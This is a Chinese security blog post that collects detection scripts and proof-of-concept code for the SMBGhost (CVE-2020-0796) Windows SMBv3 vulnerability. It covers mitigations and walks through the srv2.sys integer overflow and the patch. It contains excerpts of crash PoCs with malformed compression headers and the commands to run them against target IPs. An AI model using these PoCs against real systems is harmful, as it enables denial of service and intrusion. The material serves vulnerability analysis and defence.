记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

smbghost(cve-2020-0796)漏洞POC汇总及简单分析

2020-03-30 12:52

0x00 概述

20200310,microsoft透露了一个smb v3协议漏洞。
20200312,microsoft出补丁。
漏洞命名:smbghost
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。

0x01 影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

0x02 漏洞检测

////至发文(20200322)暂未发现公开EXP。
环境win10x64-1903专业版,关闭防火墙,关闭自动更新!

python版

https://github.com/ollypwn/SMBGhost

It checks for SMB dialect 3.1.1 and compression capability through a negotiate request.
---README.md

socket发送数据包

pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'

返回判断

if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")

然而打上补丁修补后:

所以打上补丁后该脚本也会返回vulnerable导致误报。

python版带数据结构输出

https://github.com/ioncodes/SMBGhost

此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报
pip3 install hexdump

同样也是判断这两个位置

version = struct.unpack("H", response[68:70])[0]
context = struct.unpack("H", response[70:72])[0]

if version != 0x0311:
print(f"SMB version {hex(version)} was found which is not vulnerable!")
elif context != 2:
print(f"Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore not vulnerable!")
else:
print(f"SMB version {hex(version)} with context {hex(context)} was found which indicates SMBv3.1.1 is being used and SMB compression is enabled, therefore being vulnerable to CVE-2020-0796!")

//另外还有这个py检查smb版本和压缩,也可以试试
https://github.com/ClarotyICS/CVE2020-0796/blob/master/python_script/smbv3_compress.py

powershell版本

https://github.com/T13nn3s/CVE-2020-0796

没打补丁:

打补丁后:

判断版本和补丁,简单直接,不会误报。

if ($WindowsVersion -eq 1903) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Elseif ($WindowsVersion -eq 1909) {
Write-Host "[*] CVE-2020-0976 is applicable to your Windows Version."
}
Else {
Write-Host "[+] CVE-2020-0976 is not applicable to your Windows Version." -ForegroundColor Green
pause
return
}
......
function CheckIfUpdateIsInstalled {
Write-Host "[*] Check if KB4551762 is installed..."

$fix = Get-HotFix -Id KB4551762 -ErrorAction SilentlyContinue

if ($fix) {
Write-Host "[+] *** Windows Update $($fix.HotFixID) is installed on $($fix.InstalledOn). You're not vulnerable ***"
Write-Host "[+] No workaround needed, you can still customize the SMBv3 compression if you like."
return
}
Else {
Write-Host "[-] Windows Update $($kb) is not installed."
}

perl版本

https://github.com/wneessen/SMBCompScan


也是用socket发包,返回判断两个位置

if(($byteArray[68] == 17 && $byteArray[70] == 2) || ($byteArray[70] == 2 && $byteArray[72] == 85)) {
say 'vulnerable';
}
else {
say 'not vulnerable';
}

nmap版本

调用nmap的smb协议扫描脚本检查是否有smbv3.11

nmap -p445 --script smb-protocols -Pn -n $1 | grep -P '\d+\.\d+\.\d+\.\d+|^\|.\s+3.11' | tr '\n' ' ' | replace 'Nmap scan report for' '@' | tr "@" "\n" | grep 3.11 | tr '|' ' ' | tr '_' ' ' | grep -oP '\d+\.\d+\.\d+\.\d+'

if [[ $? != 0 ]]; then
echo "There's no SMB v3.11"
fi

还有一些nse脚本:
https://github.com/ClarotyICS/CVE2020-0796/tree/master/nse_script
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
https://github.com/pr4jwal/CVE-2020-0796/blob/master/cve-2020-0796.nse

规则版本

https://github.com/ClarotyICS/CVE2020-0796/tree/master/snort_rules
https://github.com/cve-2020-0796/cve-2020-0796/blob/master/snort_rule_smbv3.rules

蓝屏POC

1)
https://github.com/eerykitty/CVE-2020-0796-PoC

def _compress(self, b_data, session):
header = SMB2CompressionTransformHeader()
header['original_size'] = len(b_data)
header['offset'] = 4294967295
header['data'] = smbprotocol.lznt1.compress(b_data)

python3 CVE-2020-0796.py 19.1.2.56

2)
https://github.com/maxpl0it/Unauthenticated-CVE-2020-0796-PoC/blob/master/crash.py

class Smb2CompressedTransformHeader:
def __init__(self, data):
self.data = data
self.protocol_id = "\xfcSMB"
self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
self.compression_algorithm = "\x01\x00"
self.flags = "\x00"*2
self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability

python3 crash.py 19.1.2.56

3)
https://gist.github.com/asolino/45095268f0893bcf08bca3ae68a755b2

def attack(self):
compressedHeader = SMB2_COMPRESSION_TRANSFORM_HEADER ()
compressedHeader['ProtocolID'] = 0x424D53FC
compressedHeader['OriginalCompressedSegmentSize'] = 1024
compressedHeader['CompressionAlgorithm'] = 1
compressedHeader['Flags'] = 0xffff
compressedHeader['Offset_Length'] = 0xffffffff

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python setup.py install

0x04 修复方案

1】设置-更新和安全-Windows更新-检查更新
或直接下载对应补丁进行安装(KB4551762)
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762
2】regedit HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
或powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3】封445端口

0x05 简单分析

smb服务端漏洞文件srv2.sys(C:\Windows\System32\drivers\srv2.sys)
smb客户端漏洞文件mrxsmb.sys
都在SmbCompressDecompress中调用了相同的代码。
分析srv2.sys:
//ida加载srv2.sys不显示函数名是因为没有符号表,要科学上网再在ida提示的时候点yes下载,或者利用windbg\symchk.exe下载

微软在Windows 10 v1903/Windows Server v1903的SMB 3.1.1协议中开启了对数据压缩传输的支持,本漏洞成因是SMB客户端及服务端在准备解压数据(身份认证请求)时,没有对COMPRESSION_TRANSFORM_HEADE结构进行安全校验,导致后续分配buffer时整形溢出。

typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Length;
}COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

在srv2.sys中找和compress相关的函数,如下:
Smb2GetHonorCompressionAlgOrder
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2ValidateCompressionCapabilities
Smb2SelectCompressionAlgorithm

smb会调用Srv2!Srv2ReceiveHandler函数接收smb数据包,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',说明数据是压缩的,则smb会调用Srv2DecompressMessageAsync函数进行解压缩。

Srv2!Srv2DecompressMessageAsync会调用Srv2!Srv2DecompressData函数,申请buffer,解压缩并copy到buffer

附上Lucas Georges美化后的代码:

For that, I used three sources of public information:
DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: >https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
---Lucas Georges

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]

UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);

// Basic size checks
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;

v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;

// Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;

// Nani ?? oO
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);

__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;

// Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}

// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}


*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}

攻击者可以控制 OriginalCompressedSegmentSize和OffsetOrLength 这两个参数。

//图片来源:[MS-SMB2]

OriginalCompressedSegmentSize:压缩前的数据大小。
OffsetOrLength :压缩数据的长度或者片偏移,主要取决于是否设置flags变量。
都为32位int型,并且Srv2!Srv2DecompressData用它们控制分配内存空间,漏洞点:

__alloc_buffer  =  SrvNetAllocateBuffer
unsigned int )(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0 i64
;

没有检查相加的值,导致integer整数溢出,SrvNetAllocateBuffer分配了一个较小的alloc_buffer。
随后在Srv2!Srv2DecompressData函数调用SmbCompressionDecompress,最终调用nt!RtlDecompressBufferXpressLz进行数据解压。
附上360博客上分析的代码:

signed __int64 __fastcall RtlDecompressBufferXpressLz(_BYTE *a1, unsigned int a2, _BYTE *a3, unsigned int a4, __int64 a5, _DWORD *a6)
{
v9 = &a1[a2];
....
if ( &a1[v21] > v9 )
return 0xC0000242i64;
...
v33 = a1;
a1 += v21;
qmemcpy(v33, v23, v21);
}

//代码来源blogs.360.cn/post/CVE-2020-0796.html

a1指向SrvNetAllocateBuffer分配的alloc_buffer,

a2的值为OriginalCompressedSegmentSize,v21的值为从smb数据包中解析的解压缩数据的大小,该值可由攻击者控制,若该大小大于OriginalCompressedSegmentSize,则会返回0xC0000242错误,由于之前对长度没有检查,如果我们传入一个很大的OriginalCompressedSegmentSize触发整数溢出,同时v21就可以设置一个极大值,而依然可以通过对decompress size的判断,最终调用qmemcpy拷贝一个极大的size导致缓冲区溢出
---blogs.360.cn

补丁对比:

美化后代码:

unsigned int _v_allocation_size = 0;

if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}

if (_v_allocation_size > another_smb_size_i_guess)
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}

__alloc_buffer = SrvNetAllocateBuffer(
_v_allocation_size,
0i64
);
if ( !__alloc_buffer )
return 0xC000009A;

if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}

if (!NT_SUCCESS(SmbCompressionDecompress(
AlgoId,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
_v_uncompressed_size,
Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
Header.OriginalCompressedSegmentSize,
&UncompressedSize)) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )

//代码来源https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

使用RtlULongAdd对OriginalCompressedSegmentSize和Offset(Length)进行检查。
用RtULongSub在计算偏移量字段的同时计算压缩缓冲区的大小。
这两个函数是安全的,可在运行时检查整数上溢/下溢出。

0x06 结语

继ms17-010,cve-2019-0708后,又一个蠕虫级RCE漏洞,期待EXP!
//附件是srv2.sys和符号表文件

0x07 参考资料

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
blogs.360.cn/post/CVE-2020-0796.html
https://blog.riskivy.com/零基础探索smbv3远程代码执行漏洞poc/
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols

win10x64-business-1903-srv2-sys.zip (0.682 MB) 下载附件
知识来源: xz.aliyun.com/t/7440

阅读:28635 | 评论:0 | 标签:漏洞 CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“smbghost(cve-2020-0796)漏洞POC汇总及简单分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词